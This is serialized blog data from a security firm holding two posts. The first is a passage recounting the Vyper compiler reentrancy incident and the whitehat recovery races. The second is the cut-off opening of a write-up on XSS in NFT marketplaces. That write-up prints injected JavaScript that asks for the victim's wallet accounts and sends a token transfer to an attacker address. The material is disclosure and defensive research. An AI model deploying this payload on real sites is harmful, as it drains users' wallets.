supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":21,"tag":30,"props":31254,"children":31255},{},[31256],{"type":27,"value":31257},"Here's how it all happened.",{"type":21,"tag":22,"props":31259,"children":31261},{"id":31260},"timeline",[31262],{"type":27,"value":31263},"Timeline",{"type":21,"tag":30,"props":31265,"children":31266},{},[31267],{"type":27,"value":31268},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":21,"tag":30,"props":31270,"children":31271},{},[31272,31277,31279,31286],{"type":21,"tag":6137,"props":31273,"children":31274},{},[31275],{"type":27,"value":31276},"13:10 UTC",{"type":27,"value":31278}," pETH/ETH was ",{"type":21,"tag":34,"props":31280,"children":31283},{"href":31281,"rel":31282},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[38],[31284],{"type":27,"value":31285},"drained of $11M",{"type":27,"value":658},{"type":21,"tag":30,"props":31288,"children":31289},{},[31290,31295],{"type":21,"tag":6137,"props":31291,"children":31292},{},[31293],{"type":27,"value":31294},"13:19 UTC",{"type":27,"value":31296}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":21,"tag":30,"props":31298,"children":31299},{},[31300],{"type":27,"value":31301},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":21,"tag":3741,"props":31303,"children":31304},{},[31305],{"type":21,"tag":30,"props":31306,"children":31307},{},[31308],{"type":27,"value":31309},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":21,"tag":30,"props":31311,"children":31312},{},[31313,31318],{"type":21,"tag":6137,"props":31314,"children":31315},{},[31316],{"type":27,"value":31317},"14:01 UTC",{"type":27,"value":31319}," A warroom was formed around this comment.",{"type":21,"tag":30,"props":31321,"children":31322},{},[31323,31328,31330,31337],{"type":21,"tag":6137,"props":31324,"children":31325},{},[31326],{"type":27,"value":31327},"14:07 UTC",{"type":27,"value":31329}," We decompiled the JPEGd contract ",{"type":21,"tag":34,"props":31331,"children":31334},{"href":31332,"rel":31333},"https://ethervm.io/decompile",[38],[31335],{"type":27,"value":31336},"with our favorite decompiler",{"type":27,"value":31338}," and noted a difference in reentrancy guard storage slot.",{"type":21,"tag":187,"props":31340,"children":31344},{"className":31341,"code":31342,"language":31343,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[31345],{"type":21,"tag":194,"props":31346,"children":31347},{"__ignoreMap":7},[31348,31356,31364,31372,31380,31387,31395,31403,31411],{"type":21,"tag":198,"props":31349,"children":31350},{"class":200,"line":201},[31351],{"type":21,"tag":198,"props":31352,"children":31353},{},[31354],{"type":27,"value":31355},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":21,"tag":198,"props":31357,"children":31358},{"class":200,"line":217},[31359],{"type":21,"tag":198,"props":31360,"children":31361},{},[31362],{"type":27,"value":31363},"label_0057:\n",{"type":21,"tag":198,"props":31365,"children":31366},{"class":200,"line":236},[31367],{"type":21,"tag":198,"props":31368,"children":31369},{},[31370],{"type":27,"value":31371}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":21,"tag":198,"props":31373,"children":31374},{"class":200,"line":260},[31375],{"type":21,"tag":198,"props":31376,"children":31377},{},[31378],{"type":27,"value":31379}," storage[0x00] = 0x01;\n",{"type":21,"tag":198,"props":31381,"children":31382},{"class":200,"line":281},[31383],{"type":21,"tag":198,"props":31384,"children":31385},{"emptyLinePlaceholder":16},[31386],{"type":27,"value":1283},{"type":21,"tag":198,"props":31388,"children":31389},{"class":200,"line":302},[31390],{"type":21,"tag":198,"props":31391,"children":31392},{},[31393],{"type":27,"value":31394},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":21,"tag":198,"props":31396,"children":31397},{"class":200,"line":323},[31398],{"type":21,"tag":198,"props":31399,"children":31400},{},[31401],{"type":27,"value":31402},"label_1AF3:\n",{"type":21,"tag":198,"props":31404,"children":31405},{"class":200,"line":344},[31406],{"type":21,"tag":198,"props":31407,"children":31408},{},[31409],{"type":27,"value":31410}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":21,"tag":198,"props":31412,"children":31413},{"class":200,"line":365},[31414],{"type":21,"tag":198,"props":31415,"children":31416},{},[31417],{"type":27,"value":31418}," storage[0x02] = 0x01;\n",{"type":21,"tag":30,"props":31420,"children":31421},{},[31422,31427],{"type":21,"tag":6137,"props":31423,"children":31424},{},[31425],{"type":27,"value":31426},"14:27 UTC",{"type":27,"value":31428}," We confirmed this behavior with a simple local test contract.",{"type":21,"tag":187,"props":31430,"children":31432},{"className":20256,"code":31431,"language":20255,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[31433],{"type":21,"tag":194,"props":31434,"children":31435},{"__ignoreMap":7},[31436,31444,31465,31500,31512,31519,31526,31545,31577],{"type":21,"tag":198,"props":31437,"children":31438},{"class":200,"line":201},[31439],{"type":21,"tag":198,"props":31440,"children":31441},{"style":698},[31442],{"type":27,"value":31443},"@external\n",{"type":21,"tag":198,"props":31445,"children":31446},{"class":200,"line":217},[31447,31452,31456,31461],{"type":21,"tag":198,"props":31448,"children":31449},{"style":698},[31450],{"type":27,"value":31451},"@nonreentrant",{"type":21,"tag":198,"props":31453,"children":31454},{"style":211},[31455],{"type":27,"value":706},{"type":21,"tag":198,"props":31457,"children":31458},{"style":205},[31459],{"type":27,"value":31460},"\"lock\"",{"type":21,"tag":198,"props":31462,"children":31463},{"style":211},[31464],{"type":27,"value":789},{"type":21,"tag":198,"props":31466,"children":31467},{"class":200,"line":236},[31468,31473,31478,31482,31487,31492,31496],{"type":21,"tag":198,"props":31469,"children":31470},{"style":249},[31471],{"type":27,"value":31472},"def",{"type":21,"tag":198,"props":31474,"children":31475},{"style":698},[31476],{"type":27,"value":31477}," test",{"type":21,"tag":198,"props":31479,"children":31480},{"style":211},[31481],{"type":27,"value":706},{"type":21,"tag":198,"props":31483,"children":31484},{"style":226},[31485],{"type":27,"value":31486},"addr",{"type":21,"tag":198,"props":31488,"children":31489},{"style":211},[31490],{"type":27,"value":31491},": address) -> ",{"type":21,"tag":198,"props":31493,"children":31494},{"style":1966},[31495],{"type":27,"value":30486},{"type":21,"tag":198,"props":31497,"children":31498},{"style":211},[31499],{"type":27,"value":6381},{"type":21,"tag":198,"props":31501,"children":31502},{"class":200,"line":260},[31503,31507],{"type":21,"tag":198,"props":31504,"children":31505},{"style":640},[31506],{"type":27,"value":1478},{"type":21,"tag":198,"props":31508,"children":31509},{"style":249},[31510],{"type":27,"value":31511}," True\n",{"type":21,"tag":198,"props":31513,"children":31514},{"class":200,"line":281},[31515],{"type":21,"tag":198,"props":31516,"children":31517},{"emptyLinePlaceholder":16},[31518],{"type":27,"value":1283},{"type":21,"tag":198,"props":31520,"children":31521},{"class":200,"line":302},[31522],{"type":21,"tag":198,"props":31523,"children":31524},{"style":698},[31525],{"type":27,"value":31443},{"type":21,"tag":198,"props":31527,"children":31528},{"class":200,"line":323},[31529,31533,31537,31541],{"type":21,"tag":198,"props":31530,"children":31531},{"style":698},[31532],{"type":27,"value":31451},{"type":21,"tag":198,"props":31534,"children":31535},{"style":211},[31536],{"type":27,"value":706},{"type":21,"tag":198,"props":31538,"children":31539},{"style":205},[31540],{"type":27,"value":31460},{"type":21,"tag":198,"props":31542,"children":31543},{"style":211},[31544],{"type":27,"value":789},{"type":21,"tag":198,"props":31546,"children":31547},{"class":200,"line":344},[31548,31552,31557,31561,31565,31569,31573],{"type":21,"tag":198,"props":31549,"children":31550},{"style":249},[31551],{"type":27,"value":31472},{"type":21,"tag":198,"props":31553,"children":31554},{"style":698},[31555],{"type":27,"value":31556}," test2",{"type":21,"tag":198,"props":31558,"children":31559},{"style":211},[31560],{"type":27,"value":706},{"type":21,"tag":198,"props":31562,"children":31563},{"style":226},[31564],{"type":27,"value":31486},{"type":21,"tag":198,"props":31566,"children":31567},{"style":211},[31568],{"type":27,"value":31491},{"type":21,"tag":198,"props":31570,"children":31571},{"style":1966},[31572],{"type":27,"value":30486},{"type":21,"tag":198,"props":31574,"children":31575},{"style":211},[31576],{"type":27,"value":6381},{"type":21,"tag":198,"props":31578,"children":31579},{"class":200,"line":365},[31580,31584],{"type":21,"tag":198,"props":31581,"children":31582},{"style":640},[31583],{"type":27,"value":1478},{"type":21,"tag":198,"props":31585,"children":31586},{"style":249},[31587],{"type":27,"value":31588}," False\n",{"type":21,"tag":30,"props":31590,"children":31591},{},[31592],{"type":27,"value":31593},"This was not just another reentrancy bug.",{"type":21,"tag":30,"props":31595,"children":31596},{},[31597],{"type":27,"value":31598},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":21,"tag":30,"props":31600,"children":31601},{},[31602,31607],{"type":21,"tag":6137,"props":31603,"children":31604},{},[31605],{"type":27,"value":31606},"14:37 UTC",{"type":27,"value":31608}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":21,"tag":30,"props":31610,"children":31611},{},[31612],{"type":21,"tag":1376,"props":31613,"children":31615},{"alt":7,"src":31614},"/posts/vyper-timeline/sstore.png",[],{"type":21,"tag":30,"props":31617,"children":31618},{},[31619],{"type":27,"value":31620},"It was a race with the hackers.",{"type":21,"tag":30,"props":31622,"children":31623},{},[31624],{"type":27,"value":31625},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":21,"tag":3741,"props":31627,"children":31628},{},[31629],{"type":21,"tag":30,"props":31630,"children":31631},{},[31632,31634],{"type":27,"value":31633},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":21,"tag":34,"props":31635,"children":31638},{"href":31636,"rel":31637},"https://twitter.com/hexagate_/status/1685677801813217280",[38],[31639],{"type":27,"value":31636},{"type":21,"tag":30,"props":31641,"children":31642},{},[31643],{"type":27,"value":31644},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":21,"tag":30,"props":31646,"children":31647},{},[31648,31653,31654,31661],{"type":21,"tag":6137,"props":31649,"children":31650},{},[31651],{"type":27,"value":31652},"14:50 UTC",{"type":27,"value":915},{"type":21,"tag":34,"props":31655,"children":31658},{"href":31656,"rel":31657},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[38],[31659],{"type":27,"value":31660},"msETH/ETH was drained",{"type":27,"value":658},{"type":21,"tag":30,"props":31663,"children":31664},{},[31665,31670,31671,31678],{"type":21,"tag":6137,"props":31666,"children":31667},{},[31668],{"type":27,"value":31669},"15:34 UTC",{"type":27,"value":915},{"type":21,"tag":34,"props":31672,"children":31675},{"href":31673,"rel":31674},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[38],[31676],{"type":27,"value":31677},"alETH/ETH was drained",{"type":27,"value":658},{"type":21,"tag":30,"props":31680,"children":31681},{},[31682,31687,31689,31696],{"type":21,"tag":6137,"props":31683,"children":31684},{},[31685],{"type":27,"value":31686},"15:43 UTC",{"type":27,"value":31688}," We identified that ",{"type":21,"tag":34,"props":31690,"children":31693},{"href":31691,"rel":31692},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[38],[31694],{"type":27,"value":31695},"CRV/ETH was vulnerable",{"type":27,"value":31697},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":21,"tag":30,"props":31699,"children":31700},{},[31701,31706],{"type":21,"tag":6137,"props":31702,"children":31703},{},[31704],{"type":27,"value":31705},"16:11 UTC",{"type":27,"value":31707}," We began working on a whitehat exploit.",{"type":21,"tag":30,"props":31709,"children":31710},{},[31711,31713,31720],{"type":27,"value":31712},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":21,"tag":34,"props":31714,"children":31717},{"href":31715,"rel":31716},"https://twitter.com/vyperlang/status/1685692973051498497",[38],[31718],{"type":27,"value":31719},"public statement on affected versions",{"type":27,"value":658},{"type":21,"tag":30,"props":31722,"children":31723},{},[31724],{"type":27,"value":31725},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":21,"tag":30,"props":31727,"children":31728},{},[31729,31731,31738],{"type":27,"value":31730},"Five minutes later at 19:11 UTC, ",{"type":21,"tag":34,"props":31732,"children":31735},{"href":31733,"rel":31734},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[38],[31736],{"type":27,"value":31737},"somebody else stole the funds",{"type":27,"value":658},{"type":21,"tag":30,"props":31740,"children":31741},{},[31742],{"type":27,"value":31743},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":21,"tag":30,"props":31745,"children":31746},{},[31747],{"type":27,"value":31748},"Nevertheless, there was more ground to cover.",{"type":21,"tag":30,"props":31750,"children":31751},{},[31752,31757],{"type":21,"tag":6137,"props":31753,"children":31754},{},[31755],{"type":27,"value":31756},"21:26 UTC",{"type":27,"value":31758}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":21,"tag":3741,"props":31760,"children":31761},{},[31762],{"type":21,"tag":30,"props":31763,"children":31764},{},[31765,31767,31771,31773,31776,31778,31781,31783],{"type":27,"value":31766},"if you send like 30k crv to the crv/eth pool ",{"type":21,"tag":31768,"props":31769,"children":31770},"br",{},[],{"type":27,"value":31772},"\nyou can then update admin fee ",{"type":21,"tag":31768,"props":31774,"children":31775},{},[],{"type":27,"value":31777},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":21,"tag":31768,"props":31779,"children":31780},{},[],{"type":27,"value":31782},"\nso you can basically drain whole pool for few hundred K crv ",{"type":21,"tag":31768,"props":31784,"children":31785},{},[],{"type":21,"tag":30,"props":31787,"children":31788},{},[31789,31794],{"type":21,"tag":6137,"props":31790,"children":31791},{},[31792],{"type":27,"value":31793},"21:52 UTC",{"type":27,"value":31795}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":21,"tag":30,"props":31797,"children":31798},{},[31799,31801,31808,31810,31817,31825],{"type":27,"value":31800},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":21,"tag":34,"props":31802,"children":31805},{"href":31803,"rel":31804},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[38],[31806],{"type":27,"value":31807},"CRV admin fee bot",{"type":27,"value":31809}," had claimed fees and ",{"type":21,"tag":34,"props":31811,"children":31814},{"href":31812,"rel":31813},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[38],[31815],{"type":27,"value":31816},"the pool was drained",{"type":21,"tag":123,"props":31818,"children":31819},{},[31820],{"type":21,"tag":34,"props":31821,"children":31823},{"href":128,"ariaDescribedBy":31822,"dataFootnoteRef":7,"id":131},[130],[31824],{"type":27,"value":134},{"type":27,"value":658},{"type":21,"tag":22,"props":31827,"children":31829},{"id":31828},"blame",[31830],{"type":27,"value":31831},"Blame",{"type":21,"tag":30,"props":31833,"children":31834},{},[31835,31839],{"type":21,"tag":1671,"props":31836,"children":31837},{},[31838],{"type":27,"value":31831},{"type":27,"value":31840}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":21,"tag":59,"props":31842,"children":31844},{"id":31843},"races",[31845],{"type":27,"value":31846},"Races",{"type":21,"tag":30,"props":31848,"children":31849},{},[31850],{"type":27,"value":31851},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":21,"tag":30,"props":31853,"children":31854},{},[31855],{"type":27,"value":31856},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":21,"tag":30,"props":31858,"children":31859},{},[31860],{"type":27,"value":31861},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":21,"tag":59,"props":31863,"children":31865},{"id":31864},"information-leakage",[31866],{"type":27,"value":31867},"Information Leakage",{"type":21,"tag":30,"props":31869,"children":31870},{},[31871],{"type":27,"value":31872},"I was both an auditor and a whitehat.",{"type":21,"tag":30,"props":31874,"children":31875},{},[31876,31878,31885],{"type":27,"value":31877},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":21,"tag":34,"props":31879,"children":31882},{"href":31880,"rel":31881},"https://twitter.com/osec_io/status/1579969927020412929",[38],[31883],{"type":27,"value":31884},"by publishing the \"scoop\"",{"type":27,"value":31886}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":21,"tag":30,"props":31888,"children":31889},{},[31890],{"type":27,"value":31891},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":21,"tag":30,"props":31893,"children":31894},{},[31895],{"type":27,"value":31896},"Half an hour more could have saved $18M.",{"type":21,"tag":30,"props":31898,"children":31899},{},[31900],{"type":27,"value":31901},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":21,"tag":22,"props":31903,"children":31905},{"id":31904},"next-steps",[31906],{"type":27,"value":31907},"Next Steps",{"type":21,"tag":30,"props":31909,"children":31910},{},[31911],{"type":27,"value":31912},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":21,"tag":30,"props":31914,"children":31915},{},[31916,31918,31925],{"type":27,"value":31917},"It's important to note that this bug ",{"type":21,"tag":34,"props":31919,"children":31922},{"href":31920,"rel":31921},"https://twitter.com/real_philogy/status/1685948253139857409",[38],[31923],{"type":27,"value":31924},"was patched since November 2021",{"type":27,"value":658},{"type":21,"tag":3741,"props":31927,"children":31928},{},[31929],{"type":21,"tag":30,"props":31930,"children":31931},{},[31932,31934,31939,31940,31943,31945,31950],{"type":27,"value":31933},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":21,"tag":1671,"props":31935,"children":31936},{},[31937],{"type":27,"value":31938},"processes",{"type":27,"value":19331},{"type":21,"tag":31768,"props":31941,"children":31942},{},[],{"type":27,"value":31944},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":21,"tag":1671,"props":31946,"children":31947},{},[31948],{"type":27,"value":31949},"was",{"type":27,"value":31951}," fixed.",{"type":21,"tag":30,"props":31953,"children":31954},{},[31955],{"type":27,"value":31956},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":21,"tag":3606,"props":31958,"children":31960},{"className":31959,"dataFootnotes":7},[3609],[31961,31966],{"type":21,"tag":22,"props":31962,"children":31964},{"className":31963,"id":130},[3614],[31965],{"type":27,"value":3617},{"type":21,"tag":71,"props":31967,"children":31968},{},[31969],{"type":21,"tag":75,"props":31970,"children":31971},{"id":3623},[31972,31974],{"type":27,"value":31973},"Thankfully, these funds were later returned. ",{"type":21,"tag":34,"props":31975,"children":31977},{"href":3637,"ariaLabel":3638,"className":31976,"dataFootnoteBackref":7},[3640],[31978],{"type":27,"value":3643},{"type":21,"tag":3645,"props":31980,"children":31981},{},[31982],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":31984},[31985,31986,31990,31991],{"id":31260,"depth":217,"text":31263},{"id":31828,"depth":217,"text":31831,"children":31987},[31988,31989],{"id":31843,"depth":236,"text":31846},{"id":31864,"depth":236,"text":31867},{"id":31904,"depth":217,"text":31907},{"id":130,"depth":217,"text":3617},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":31996,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31997,"description":31998,"author":31999,"image":32000,"date":32002,"isFeatured":16,"tags":32003,"onBlogPage":16,"body":32006,"_type":3671,"_id":36192,"_source":3673,"_file":36193,"_stem":36194,"_extension":3676},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[12,11],{"src":32001,"height":14430,"width":14430},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[32004,32005],"nft-marketplaces","xss",{"type":18,"children":32007,"toc":36175},[32008,32012,32017,32021,32026,32031,32036,32052,32058,32071,32093,32100,32105,32112,32117,32123,32128,32133,32138,32143,32151,32156,33116,33126,33138,33145,33150,33964,33969,33974,33979,33984,34768,34773,34854,34859,34926,34932,34937,34942,35169,35182,35187,35192,35197,35204,35209,35216,35222,35227,35232,35237,35556,35561,35567,35583,35589,35594,35599,35609,35614,35619,35628,35633,35639,35655,35668,35673,35678,35698,35705,35710,35717,35726,35731,35751,35803,35808,35859,35873,35878,35892,36006,36029,36112,36135,36140,36145,36150,36155,36160,36166,36171],{"type":21,"tag":22,"props":32009,"children":32010},{"id":61},[32011],{"type":27,"value":64},{"type":21,"tag":30,"props":32013,"children":32014},{},[32015],{"type":27,"value":32016},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":21,"tag":59,"props":32018,"children":32019},{"id":3726},[32020],{"type":27,"value":3729},{"type":21,"tag":30,"props":32022,"children":32023},{},[32024],{"type":27,"value":32025},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":21,"tag":30,"props":32027,"children":32028},{},[32029],{"type":27,"value":32030},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":21,"tag":22,"props":32032,"children":32033},{"id":32005},[32034],{"type":27,"value":32035},"XSS",{"type":21,"tag":30,"props":32037,"children":32038},{},[32039],{"type":21,"tag":1671,"props":32040,"children":32041},{},[32042,32044,32051],{"type":27,"value":32043},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":21,"tag":34,"props":32045,"children":32048},{"href":32046,"rel":32047},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[38],[32049],{"type":27,"value":32050},"even explain it to myself",{"type":27,"value":658},{"type":21,"tag":59,"props":32053,"children":32055},{"id":32054},"managing-metadata",[32056],{"type":27,"value":32057},"Managing Metadata",{"type":21,"tag":30,"props":32059,"children":32060},{},[32061,32063,32070],{"type":27,"value":32062},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":21,"tag":34,"props":32064,"children":32067},{"href":32065,"rel":32066},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[38],[32068],{"type":27,"value":32069},"payloads",{"type":27,"value":658},{"type":21,"tag":30,"props":32072,"children":32073},{},[32074,32076,32083,32085,32091],{"type":27,"value":32075},"We showcase this vulnerability in the ",{"type":21,"tag":34,"props":32077,"children":32080},{"href":32078,"rel":32079},"https://rocki.com/",[38],[32081],{"type":27,"value":32082},"Rocki Marketplace",{"type":27,"value":32084},". The ",{"type":21,"tag":194,"props":32086,"children":32088},{"className":32087},[],[32089],{"type":27,"value":32090},"artistDescription",{"type":27,"value":32092}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":21,"tag":30,"props":32094,"children":32095},{},[32096],{"type":21,"tag":1376,"props":32097,"children":32099},{"alt":7,"src":32098},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":21,"tag":30,"props":32101,"children":32102},{},[32103],{"type":27,"value":32104},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":21,"tag":30,"props":32106,"children":32107},{},[32108],{"type":21,"tag":1376,"props":32109,"children":32111},{"alt":7,"src":32110},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":21,"tag":30,"props":32113,"children":32114},{},[32115],{"type":27,"value":32116},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":21,"tag":59,"props":32118,"children":32120},{"id":32119},"wheres-my-wallet",[32121],{"type":27,"value":32122},"Where's My Wallet",{"type":21,"tag":30,"props":32124,"children":32125},{},[32126],{"type":27,"value":32127},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":21,"tag":30,"props":32129,"children":32130},{},[32131],{"type":27,"value":32132},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":21,"tag":30,"props":32134,"children":32135},{},[32136],{"type":27,"value":32137},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":21,"tag":30,"props":32139,"children":32140},{},[32141],{"type":27,"value":32142},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":21,"tag":3164,"props":32144,"children":32145},{"style":3597},[32146],{"type":21,"tag":1376,"props":32147,"children":32150},{"src":32148,"alt":32149,"style":3603},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet",[],{"type":21,"tag":30,"props":32152,"children":32153},{},[32154],{"type":27,"value":32155},"And here we can find the code used to achieve it :",{"type":21,"tag":187,"props":32157,"children":32159},{"className":189,"code":32158,"language":191,"meta":7,"style":7},"function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n",[32160],{"type":21,"tag":194,"props":32161,"children":32162},{"__ignoreMap":7},[32163,32179,32220,32249,32264,32327,32362,32387,32412,32419,32439,32447,32463,32475,32483,32500,32517,32525,32532,32548,32564,32571,32579,32596,32608,32615,32631,32647,32654,32661,32678,32685,32693,32700,32746,32753,32817,32824,32844,32860,32876,32897,32968,32984,32991,32998,33036,33044,33051,33058,33065,33086],{"type":21,"tag":198,"props":32164,"children":32165},{"class":200,"line":201},[32166,32170,32175],{"type":21,"tag":198,"props":32167,"children":32168},{"style":249},[32169],{"type":27,"value":892},{"type":21,"tag":198,"props":32171,"children":32172},{"style":698},[32173],{"type":27,"value":32174}," request",{"type":21,"tag":198,"props":32176,"children":32177},{"style":211},[32178],{"type":27,"value":16539},{"type":21,"tag":198,"props":32180,"children":32181},{"class":200,"line":217},[32182,32186,32190,32194,32198,32202,32207,32211,32216],{"type":21,"tag":198,"props":32183,"children":32184},{"style":640},[32185],{"type":27,"value":1036},{"type":21,"tag":198,"props":32187,"children":32188},{"style":211},[32189],{"type":27,"value":648},{"type":21,"tag":198,"props":32191,"children":32192},{"style":249},[32193],{"type":27,"value":761},{"type":21,"tag":198,"props":32195,"children":32196},{"style":226},[32197],{"type":27,"value":2662},{"type":21,"tag":198,"props":32199,"children":32200},{"style":211},[32201],{"type":27,"value":658},{"type":21,"tag":198,"props":32203,"children":32204},{"style":226},[32205],{"type":27,"value":32206},"ethereum",{"type":21,"tag":198,"props":32208,"children":32209},{"style":683},[32210],{"type":27,"value":1531},{"type":21,"tag":198,"props":32212,"children":32213},{"style":205},[32214],{"type":27,"value":32215}," 'undefined'",{"type":21,"tag":198,"props":32217,"children":32218},{"style":211},[32219],{"type":27,"value":668},{"type":21,"tag":198,"props":32221,"children":32222},{"class":200,"line":236},[32223,32228,32232,32236,32240,32245],{"type":21,"tag":198,"props":32224,"children":32225},{"style":226},[32226],{"type":27,"value":32227}," console",{"type":21,"tag":198,"props":32229,"children":32230},{"style":211},[32231],{"type":27,"value":658},{"type":21,"tag":198,"props":32233,"children":32234},{"style":698},[32235],{"type":27,"value":15668},{"type":21,"tag":198,"props":32237,"children":32238},{"style":211},[32239],{"type":27,"value":706},{"type":21,"tag":198,"props":32241,"children":32242},{"style":205},[32243],{"type":27,"value":32244},"'Please install MetaMask to use 